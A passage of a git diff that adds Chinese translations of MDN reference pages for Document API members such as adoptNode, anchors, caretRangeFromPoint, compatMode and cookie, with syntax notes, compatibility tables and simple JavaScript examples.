diff options
Diffstat (limited to 'files/zh-cn/web/api/document')
126 files changed, 12208 insertions, 0 deletions
diff --git a/files/zh-cn/web/api/document/adoptnode/index.html b/files/zh-cn/web/api/document/adoptnode/index.html new file mode 100644 index 0000000000..1f502e20a6 --- /dev/null +++ b/files/zh-cn/web/api/document/adoptnode/index.html @@ -0,0 +1,98 @@ +--- +title: Document.adoptNode() +slug: Web/API/Document/adoptNode +translation_of: Web/API/Document/adoptNode +--- +<div>{{ ApiRef("DOM") }}</div> + +<div> </div> + +<p>从其他的document文档中获取一个节点。 该节点以及它的子树上的所有节点都会从原文档删除 (如果有这个节点的话), 并且它的<code><a href="/en-US/docs/DOM/Node.ownerDocument" title="DOM/Node.ownerDocument">ownerDocument</a></code> 属性会变成当前的document文档。 之后你可以把这个节点插入到当前文档中。</p> + +<p><strong>从Gecko 1.9 (Firefox 3)开始支持</strong></p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><var>node</var> = <em>document</em>.adoptNode(<var>externalNode</var>); +</pre> + +<dl> + <dt><code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span>node</code></dt> + <dd>导入当前文档的新节点. 新节点的 <code><a href="https://developer.mozilla.org/zh-cn/DOM/Node.parentNode" title="zh-cn/DOM/Node.parentNode">parentNode</a></code> 是 <code>null</code>, 因为它还没有插入当前文档的文档树中,属于游离状态.<span style="display: none;"> </span><span style="display: none;"> </span></dd> + <dt><code>externalNode</code></dt> + <dd>将要从外部文档导入的节点。</dd> +</dl> + +<h2 id="Example" name="Example">例子</h2> + +<pre class="brush: js">// 该函数用来从本文档的第一个iframe中获取第一个element元素， +// 并插入到当前文档树中 +function getEle(){ + var iframe = document.getElementsByTagName("iframe")[0], + ele = iframe.contentWindow.document.body.firstElementChild + if(ele){ + document.body.appendChild(document.adoptNode(ele)) + }else{ + alert("没有更多元素了") + } +} +document.getElementById("move").onclick = getEle +</pre> + +<p>HTML文档</p> + +<pre class="brush: html">// index.html + +<!DOCTYPE html> +<html> +<head> + <title>index.html</title> +</head> +<body> + <iframe src="iframe.html"></iframe> + <button id="move">移动元素</button> +</body> +</html> + +// iframe.html + +<!DOCTYPE html> +<html> +<head> + <title>iframe.html</title> +</head> +<body> + <h1>Hello</h1><h3>My world!</h3> +</body> +</html></pre> + +<h2 id="Notes" name="Notes">笔记</h2> + +<p>有时候调用adopNode可能会失败因为节点资源来自不同的源，但是这不应该是浏览器的实现问题。</p> + +<p>In general the <code>adoptNode</code> call may fail due to the source node coming from a different implementation, however this should not be a problem with browser implementations.</p> + +<blockquote> +<p>译者注：</p> + +<p>该方法不但可以从iframe中获取adopt元素，在同一document文档下的不同两个元素中也可以使用，该方法可以实现从左边栏列表中选取某些元素加载到右边栏的功能。</p> +</blockquote> + + +<p></p><p>将外部文档的节点插入当前文档之前,你必须使用 <a href="/zh-CN/docs/Web/API/Document/importNode" title="将外部文档的一个节点拷贝一份,然后可以把这个拷贝的节点插入到当前文档中."><code>document.importNode()</code></a> 从外部文档导入源节点,或者使用 <a href="/zh-CN/docs/Web/API/Document/adoptNode" title="从其他的document文档中获取一个节点。 该节点以及它的子树上的所有节点都会从原文档删除 (如果有这个节点的话), 并且它的ownerDocument 属性会变成当前的document文档。 之后你可以把这个节点插入到当前文档中。"><code>document.adoptNode()</code></a>导入源节点, + 想要了解更多的 <a href="/zh-CN/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 只读属性会返回当前节点的顶层的 document 对象。"><code>Node.ownerDocument</code></a> 问题,请参考 <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p> + + <p>即使你不执行导入动作,就执行插入外部文档中的节点.Firefox目前也不会报错(如果严格按标准执行,很多已有的网站都无法正常运行). + 我们鼓励开发者严格按标准修改自己已有的不符合上述标准的代码.</p><p></p> + +<h2 id="Specification" name="Specification">规范</h2> + +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-adoptNode">DOM Level 3 Core: Document.adoptNode</a></li> +</ul> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/DOM/document.importNode">document.importNode</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/alinkcolor/index.html b/files/zh-cn/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..fead03033b --- /dev/null +++ b/files/zh-cn/web/api/document/alinkcolor/index.html @@ -0,0 +1,33 @@ +--- +title: Document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - API + - Deprecated + - HTML DOM + - NeedsCompatTable + - NeedsMarkupWork + - NeedsSpecTable + - Property + - Reference +translation_of: Web/API/Document/alinkColor +--- +<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p> + +<p>返回或设置文档体内的活动链接的颜色。mousedown和mouseup事件之间的时间在一个链接是有效的。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><em>color</em> = document.alinkColor +document.alinkColor = <em>color +<strong>color </strong></em>可以是一个 “颜色名称”（例如，“blue”，“darkblue”，等）或者是一个 “十六进制的颜色值”（例如，#0000ff）</pre> + +<h2 id="Notes" name="Notes">注意</h2> + +<p>这个属性在Mozilla Firefox浏览器的默认值是红色的（# ee0000十六进制）。<br> + <br> + document.alinkcolor 在 <a href="DOM Level 2 HTML">DOM Level 2 HTML</a> 中不推荐使用。可以使用 CSS 伪类选择器 {{ Cssxref(":active") }}。<br> + <br> + 另一种选择是使用 document.body.alink，虽然这在 <a href="http://www.w3.org/TR/html401/struct/global.html#adef-alink">HTML 4.01</a> 中可以用 CSS 使用替代。<br> + <br> + Gecko 支持 alinkcolor/:active 和 {{ Cssxref(":focus") }}。在 Internet Explorer 6/7 中 alinkcolor/:active 仅在 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/en/HTML/Element/a"> HTML Elemeint A </a>上有效。</p> diff --git a/files/zh-cn/web/api/document/all/index.html b/files/zh-cn/web/api/document/all/index.html new file mode 100644 index 0000000000..5fb9f0dd41 --- /dev/null +++ b/files/zh-cn/web/api/document/all/index.html @@ -0,0 +1,44 @@ +--- +title: document.all +slug: Web/API/Document/all +translation_of: Web/API/Document/all +--- +<div>{{APIRef("DOM")}}{{Draft}}{{Deprecated_Header("HTML5")}}</div> + +<p class="summary">{{domxref("Document")}} 接口上的一个只读属性。返回一个 {{domxref("HTMLAllCollection")}}，包含了页面上的所有元素。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>htmlAllCollection</em> = document.all;</pre> + +<h3 id="值">值</h3> + +<p>返回一个 {{domxref("HTMLAllCollection")}}，包含了页面上的所有元素。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">评论</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', 'obsolete.html#dom-document-all', 'all')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.<br> + Defined in the obsolete and legacy APIs section.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<article> +<p>{{Compat("api.Document.all")}}</p> +</article> + +<article></article> diff --git a/files/zh-cn/web/api/document/anchors/index.html b/files/zh-cn/web/api/document/anchors/index.html new file mode 100644 index 0000000000..3ad5569247 --- /dev/null +++ b/files/zh-cn/web/api/document/anchors/index.html @@ -0,0 +1,86 @@ +--- +title: document.anchors +slug: Web/API/Document/anchors +translation_of: Web/API/Document/anchors +--- +<p>{{APIRef("DOM")}}</p> + +<p> </p> + +<p>{{deprecated_header()}}</p> + +<p> </p> + +<h3 id="Summary" name="Summary">概述</h3> + +<p><code>anchors</code>属性返回当前文档中的所有锚点元素.</p> + +<h3 id="Syntax" name="Syntax">语法</h3> + +<pre class="eval"><em>nodeList</em> = document.anchors +</pre> + +<h3 id="Example" name="Example">例子</h3> + +<pre class="brush: js">if ( document.anchors.length >= 5 ) { + dump("dump found too many anchors"); + window.location = "http<span class="nowiki">:</span>//www.google.com"; +} +</pre> + +<p>下例自动生成一个目录列表,包含了到每个段落的锚点.</p> + +<pre class="brush: js"><!DOCTYPE HTML> +<html> +<head> + <script type="text/javascript" charset="utf-8"> + function init() { + var toc = document.getElementById("toc"); + var i, li, newAnchor; + for (i = 0; i < document.anchors.length; i++) { + li = document.createElement("li"); + newAnchor = document.createElement('a'); + newAnchor.href = "#" + document.anchors[i].name; + newAnchor.innerHTML = document.anchors[i].text; + li.appendChild(newAnchor); + toc.appendChild(li); + } + } + + </script> +</head> +<body onload="init()"> + +<h1>Title</h1> +<a name="contents"><h2>Contents</h2></a> +<ul id="toc"></ul> + +<a name="plants"><h2>Plants</h2></a> +<ol> + <li>Apples</li> + <li>Oranges</li> + <li>Pears</li> +</ol> + +<a name="veggies"><h2>Veggies</h2></a> +<ol> + <li>Carrots</li> + <li>Celery</li> + <li>Beats</li> +</ol> + +</body> +</html> +</pre> + +<p><a href="https://jsfiddle.net/S4yNp">在JSFiddle中查看</a></p> + +<h3 id="Notes" name="Notes">备注</h3> + +<p>由于向后兼容的原因,该属性只返回那些拥有<code>name属性的a元素,而不是那些拥有</code><code>id</code>属性的<code>a</code>元素.</p> + +<h3 id="Specification" name="Specification">规范</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-7577272">DOM Level 2 HTML: anchors</a></p> + +<p>{{ languages( { "es": "es/DOM/document.anchors", "pl": "pl/DOM/document.anchors", "ja": "ja/DOM/document.anchors" , "en": "en/DOM/document.anchors" } ) }}</p> diff --git a/files/zh-cn/web/api/document/applets/index.html b/files/zh-cn/web/api/document/applets/index.html new file mode 100644 index 0000000000..ee02667a34 --- /dev/null +++ b/files/zh-cn/web/api/document/applets/index.html @@ -0,0 +1,17 @@ +--- +title: document.applets +slug: Web/API/Document/applets +translation_of: Web/API/Document/applets +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p><code>applets</code> 按顺序返回当前文档中所有的<code>applet</code>对象.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><em>nodeList</em> = document.applets +</pre> +<h3 id="Example" name="Example">例子</h3> +<pre class="eval">my_java_app = document.applets[1]; //获取当前页面的第二个applet对象. +</pre> +<h3 id="Specification" name="Specification">规范</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-85113862">DOM Level 2 HTML: applets</a></p> +<p>{{ languages( { "es": "es/DOM/document.applets", "pl": "pl/DOM/document.applets", "en": "en/DOM/document.applets" } ) }}</p> diff --git a/files/zh-cn/web/api/document/bgcolor/index.html b/files/zh-cn/web/api/document/bgcolor/index.html new file mode 100644 index 0000000000..75a7ffae9a --- /dev/null +++ b/files/zh-cn/web/api/document/bgcolor/index.html @@ -0,0 +1,31 @@ +--- +title: Document.bgColor +slug: Web/API/Document/bgColor +translation_of: Web/API/Document/bgColor +--- +<p>{{APIRef("DOM")}}{{ Deprecated_header() }}</p> + +<p> <code>bgColor</code> 获取/设置当前文档的背景颜色</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval"><em>color</em> = document.bgColor +document.bgColor =<em>color</em> +</pre> + +<h3 id="Parameters" name="Parameters">参数</h3> + +<ul> + <li><code>color</code> 表示颜色的字符串如“red”，或者是十六进制的色值如“#ff0000”。</li> +</ul> + +<h2 id="Example" name="Example">示例</h2> + +<pre class="eval">document.bgColor = "darkblue"; +</pre> + +<h2 id="Notes" name="Notes">笔记</h2> + +<p>这个属性在Mozilla Firefox中的默认值是白色”#ffffff“。</p> + +<p><code>document.bgColor</code> 在 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a> 中已经不推荐使用。 推荐使用CSS的 <a href="en/CSS/background-color">background-color</a> 或者 <code>document.body.style.backgroundColor 来给文档设置背景颜色。</code> 另外一种方式是使用 <code>document.body.bgColor</code>, 这种方式也已经不推荐使用了。</p> diff --git a/files/zh-cn/web/api/document/body/index.html b/files/zh-cn/web/api/document/body/index.html new file mode 100644 index 0000000000..e9ef372b55 --- /dev/null +++ b/files/zh-cn/web/api/document/body/index.html @@ -0,0 +1,29 @@ +--- +title: document.body +slug: Web/API/Document/body +translation_of: Web/API/Document/body +--- +<div> + {{ApiRef}}</div> +<h2 id="Summary" name="Summary">概述</h2> +<p>返回当前文档中的<code><body>元素</code>或者<code><frameset>元素</code>.</p> +<h2 id="Syntax" name="Syntax">语法</h2> +<pre class="syntaxbox"><em>var objRef</em> = document.body; +document.body = <em>objRef;</em></pre> +<h2 id="Example" name="Example">示例</h2> +<pre class="brush:js">// 如果HTML结构为<body id="oldBodyElement"></body>,则: +alert(document.body.id); // "oldBodyElement" + +var aNewBodyElement = document.createElement("body"); + +aNewBodyElement.id = "newBodyElement"; +document.body = aNewBodyElement; +alert(document.body.id); // "newBodyElement" +</pre> +<h2 id="Notes" name="Notes">介绍</h2> +<p><code>document.body</code>是包含当前页面内容的元素,对于拥有<code><body>元素的文档来说</code>,返回的是<code><body>元素</code>,对于一个拥有<code><frameset>元素的文档来说,返回的是最外层的</code><code><frameset>元素</code>.</p> +<p><code>该属性是可写的</code>,且为该属性赋的值必须是一个<code><body>元素.</code></p> +<h2 id="Specification" name="Specification">规范</h2> +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-56360201">DOM Level 2 HTML: HTMLDocument.body</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/caretrangefrompoint/index.html b/files/zh-cn/web/api/document/caretrangefrompoint/index.html new file mode 100644 index 0000000000..c765353a08 --- /dev/null +++ b/files/zh-cn/web/api/document/caretrangefrompoint/index.html @@ -0,0 +1,138 @@ +--- +title: Document.caretRangeFromPoint() +slug: Web/API/Document/caretRangeFromPoint +translation_of: Web/API/Document/caretRangeFromPoint +--- +<p>{{APIRef("DOM")}}{{Non-standard_header}} </p> + +<p>{{domxref("Document")}} 的 <code><strong>caretRangeFromPoint()</strong></code> 方法返回一个 Range 对象（指定坐标的文档片段）。</p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">var <em>range</em> = <em>document</em>.caretRangeFromPoint(float <em>x</em>, float <em>y</em>); +</pre> + +<h3 id="返回">返回</h3> + +<p>其中一项：</p> + +<ul> + <li>A {{domxref("Range")}}.</li> + <li><code>Null</code>, 若 <strong>x</strong> 或 <strong>y</strong> 不存在、在视图外或在没有文本节点的位置。</li> +</ul> + +<h3 id="参数">参数</h3> + +<dl> + <dt>x</dt> + <dd>当前视图的横向位置。</dd> + <dt>y</dt> + <dd>当前视图的纵向位置。</dd> +</dl> + +<h2 id="Example" name="Example">示例</h2> + +<p>Basic demo: 点击文档，在点击的位置插入一行。</p> + +<h3 id="HTML_Content">HTML Content</h3> + +<pre class="brush: html"><p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, +sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, +sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. +Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.</p></pre> + +<h3 id="JavaScript_Content">JavaScript Content</h3> + +<pre class="brush: js">function insertBreakAtPoint(e) { + + var range; + var textNode; + var offset; + + if (document.caretPositionFromPoint) { + range = document.caretPositionFromPoint(e.clientX, e.clientY); + textNode = range.offsetNode; + offset = range.offset; + + } else if (document.caretRangeFromPoint) { + range = document.caretRangeFromPoint(e.clientX, e.clientY); + textNode = range.startContainer; + offset = range.startOffset; + } + + // only split TEXT_NODEs + if (textNode && textNode.nodeType == 3) { + var replacement = textNode.splitText(offset); + var br = document.createElement('br'); + textNode.parentNode.insertBefore(br, replacement); + } +} + +var paragraphs = document.getElementsByTagName("p"); +for (i=0 ; i < paragraphs.length; i++) { + paragraphs[i].addEventListener("click", insertBreakAtPoint, false); +}</pre> + +<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/API/Document/caretRangeFromPoint') }}</p> + +<p> </p> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Edge</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(43.0)}}</td> + <td>20+</td> + <td>{{CompatNo()}}</td> + <td>12</td> + <td>15+</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(43.0)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p id="sect1"> </p> diff --git a/files/zh-cn/web/api/document/characterset/index.html b/files/zh-cn/web/api/document/characterset/index.html new file mode 100644 index 0000000000..8484a07d72 --- /dev/null +++ b/files/zh-cn/web/api/document/characterset/index.html @@ -0,0 +1,122 @@ +--- +title: document.characterSet +slug: Web/API/Document/characterSet +tags: + - API +translation_of: Web/API/Document/characterSet +--- +<p>{{ ApiRef("DOM") }}</p> + +<p><code><strong>Document.characterSet</strong></code> 只读属性返回当前文档的字符编码。该字符编码是用于渲染此文档的字符集，可能与该页面指定的编码不同。（用户可以重写编码方式。）</p> + +<div class="note"> +<p><code>document.charset</code> <code>和document.inputEncoding</code> 属性是<code>document.characterSet</code> 的遗留别名。不要再使用它们。</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>string</em> = document.characterSet</pre> + +<h2 id="示例">示例</h2> + +<pre class="eval"><button onclick="alert(document.characterSet);">查看字符集</button> +//返回当前文档的字符集,比如"ISO-8859-1" 或者 "UTF-8" +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>规范</th> + <th>状态</th> + <th>Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>初始定义.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>基本支持</td> + <td>{{CompatChrome(45.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9 (possibly earlier)</td> + </tr> + <tr> + <td><code>字符集</code></td> + <td>Made read-only in {{CompatChrome(45)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(44)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9 (possibly earlier)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>基本支持</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(45.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(45.0)}}</td> + </tr> + <tr> + <td><code>字符集</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(44)}}</td> + <td>2.5</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/zh-cn/web/api/document/clear/index.html b/files/zh-cn/web/api/document/clear/index.html new file mode 100644 index 0000000000..f4a8008ff6 --- /dev/null +++ b/files/zh-cn/web/api/document/clear/index.html @@ -0,0 +1,21 @@ +--- +title: Document.clear() +slug: Web/API/Document/clear +translation_of: Web/API/Document/clear +--- +<p>{{APIRef("DOM")}}{{ Deprecated_header() }}</p> + +<p>这个方法用来在早期版本的Mozilla中清除整个指定文档。</p> + +<p>在最近版本的基于Mozilla的应用以及Internet Explorer和Netscape 4中这个方法什么也不做</p> + +<h2 id="语法">语法</h2> + +<pre class="eval">document.clear() +</pre> + +<h2 id="规范">规范</h2> + +<ul> + <li><a class="external" href="http://www.whatwg.org/html/#dom-document-clear" title="http://www.whatwg.org/html/#dom-document-clear">HTML5</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/close/index.html b/files/zh-cn/web/api/document/close/index.html new file mode 100644 index 0000000000..f1356e5b57 --- /dev/null +++ b/files/zh-cn/web/api/document/close/index.html @@ -0,0 +1,59 @@ +--- +title: Document.close() +slug: Web/API/Document/close +tags: + - API + - Document + - 参考 + - 方法 +translation_of: Web/API/Document/close +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document.close()</code></strong> 用于结束由 对文档的 {{domxref("Document.write()")}} 写入操作，这种写入操作一般由 {{domxref("Document.open()")}} 打开。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">document.close();</pre> + +<h2 id="例子">例子</h2> + +<pre>// 打开一个文档，以便写入数据 +document.open(); + +// 写入文档内容 +document.write("<p>文档内容~</p>"); + +// 关闭文档 +document.close(); +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.close")}}</p> diff --git a/files/zh-cn/web/api/document/compatmode/index.html b/files/zh-cn/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..0dd9e51447 --- /dev/null +++ b/files/zh-cn/web/api/document/compatmode/index.html @@ -0,0 +1,80 @@ +--- +title: document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - Document + - 参考 + - 属性 +translation_of: Web/API/Document/compatMode +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>表明当前文档的渲染模式是<a href="/zh-CN/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">怪异模式/混杂模式</a>还是标准模式。</p> + +<h2 id="术语">术语</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">英文</th> + <th scope="col">中文</th> + </tr> + </thead> + <tbody> + <tr> + <td>Quirks mode</td> + <td>怪异模式<br> + 混杂模式</td> + </tr> + <tr> + <td>Standards mode</td> + <td>标准模式</td> + </tr> + <tr> + <td>almost standards mode<br> + limited-quirks mode</td> + <td>准标准模式</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><var>mode</var> = document.compatMode;</pre> + +<h3 id="值">值</h3> + +<dl> + <dt><code>mode</code></dt> + <dd>是一个枚举值（enumerated value），可能的值有： + <ul> + <li><code>"BackCompat"</code>：文档为怪异模式。</li> + <li><code>"CSS1Compat"</code>：文档不是怪异模式，意味着文档处于标准模式或者准标准模式。</li> + </ul> + </dd> +</dl> + +<div class="blockIndicator note"> +<p><strong>备注：</strong>现在，这些模式都已经被标准化了，准标准模式已和标准模式相同，而标准模式成为了默认表现。标准模式和准标准模式这两个名字已经失去了意义，不再在规范文档中出现。</p> +</div> + +<h2 id="例子">例子</h2> + +<pre class="brush: js">if (document.compatMode == "BackCompat") { + // 渲染模式为混杂模式 +} +</pre> + +<h2 id="规范">规范</h2> + +<ul> + <li><a class="external" href="https://dom.spec.whatwg.org/#dom-document-compatmode">DOM: Document.compatMode</a></li> +</ul> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.compatMode")}}</p> diff --git a/files/zh-cn/web/api/document/contenttype/index.html b/files/zh-cn/web/api/document/contenttype/index.html new file mode 100644 index 0000000000..39cf0dc614 --- /dev/null +++ b/files/zh-cn/web/api/document/contenttype/index.html @@ -0,0 +1,17 @@ +--- +title: document.contentType +slug: Web/API/Document/contentType +translation_of: Web/API/Document/contentType +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p>返回当前文档的Content-Type(MIME)类型.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><var>contentType</var> = <var>document</var>.contentType; +</pre> +<p><code>该属性为只读.</code></p> +<h3 id="Notes" name="Notes">备注</h3> +<p>该属性的返回值是浏览器检测到的,不一定是直接读取HTTP响应头中的或者HTML中meta标签指定的值.</p> +<h3 id="Specification" name="Specification">规范</h3> +<p>非标准属性,仅<a href="/zh-cn/Gecko" title="zh-cn/Gecko">Gecko</a>支持.</p> +<p>{{ languages( {"en": "en/DOM/document.contentType" } ) }}</p> diff --git a/files/zh-cn/web/api/document/cookie/index.html b/files/zh-cn/web/api/document/cookie/index.html new file mode 100644 index 0000000000..bf09d2d80d --- /dev/null +++ b/files/zh-cn/web/api/document/cookie/index.html @@ -0,0 +1,293 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +tags: + - Document.cookie + - cookie +translation_of: Web/API/Document/cookie +--- +<div>{{APIRef("DOM")}}</div> + +<div></div> + +<p>获取并设置与当前文档相关联的 <a href="/en-US/docs/Web/HTTP/Cookies">cookie</a>。可以把它当成一个 <code>getter and setter</code>。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<h5 id="读取所有可从此位置访问的Cookie">读取所有可从此位置访问的Cookie</h5> + +<pre class="syntaxbox notranslate"><em>allCookies</em> = <em>document</em>.cookie;</pre> + +<p>在上面的代码中，allCookies被赋值为一个字符串，该字符串包含所有的Cookie，每条cookie以"分号和空格(; )"分隔(即, <code><em>key</em>=<em>value </em></code>键值对)。</p> + +<h5 id="写一个新_cookie">写一个新 cookie</h5> + +<pre class="syntaxbox notranslate"><em>document</em>.cookie = <em>newCookie</em>;</pre> + +<p><code>newCookie是一个键值对形式的字符串。需要注意的是，用这个方法一次只能对一个cookie进行设置或更新。</code></p> + +<ul> + <li>以下可选的cookie属性值可以跟在键值对后，用来具体化对cookie的设定/更新，使用分号以作分隔： + <ul> + <li><code>;path=<em>path</em></code> (例如 '/', '/mydir') 如果没有定义，默认为当前文档位置的路径。</li> + <li><code>;domain=<em>domain</em></code> (例如 'example.com'， 'subdomain.example.com') 如果没有定义，默认为当前文档位置的路径的域名部分。与早期规范相反的是，在域名前面加 . 符将会被忽视，因为浏览器也许会拒绝设置这样的cookie。如果指定了一个域，那么子域也包含在内。</li> + <li><code>;max-age=<em>max-age-in-seconds</em></code> (例如一年为60*60*24*365)</li> + <li><code>;expires=<em>date-in-GMTString-format</em></code> 如果没有定义，cookie会在对话结束时过期 + <ul> + <li>这个值的格式参见<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toUTCString" title="JavaScript/Reference/Global Objects/Date/toUTCString">Date.toUTCString()</a> </li> + </ul> + </li> + <li><code>;secure</code> (cookie只通过https协议传输)</li> + </ul> + </li> + <li>cookie的值字符串可以用<a href="/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent" title="JavaScript/Reference/Global_Functions/encodeURIComponent">encodeURIComponent()</a>来保证它不包含任何逗号、分号或空格(cookie值中禁止使用这些值).</li> +</ul> + +<div class="note"> +<p><strong>备注:</strong> 在{{Gecko("6.0")}}前，被引号括起的路径的引号会被当做路径的一部分，而不是被当做定界符。现在已被修复。</p> +</div> + +<h2 id="Example" name="Example">示例</h2> + +<h3 id="示例1_简单用法">示例1: 简单用法</h3> + +<pre class="brush: js notranslate">document.cookie = "name=oeschger"; +document.cookie = "favorite_food=tripe"; +alert(document.cookie); +// 显示: name=oeschger;favorite_food=tripe +</pre> + +<h3 id="示例2_得到名为test2的cookie">示例2: 得到名为test2的cookie</h3> + +<pre class="brush: js notranslate">document.cookie = "test1=Hello"; +document.cookie = "test2=World"; + +var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); + +alert(myCookie); +// 显示: World +</pre> + +<h3 id="示例3_只执行某事一次">示例3: 只执行某事一次</h3> + +<p>要使下面的代码工作，请替换所有<code style="font-style: normal;">someCookieName</code> (cookie的名字)为自定义的名字。</p> + +<pre class="brush: js notranslate">if 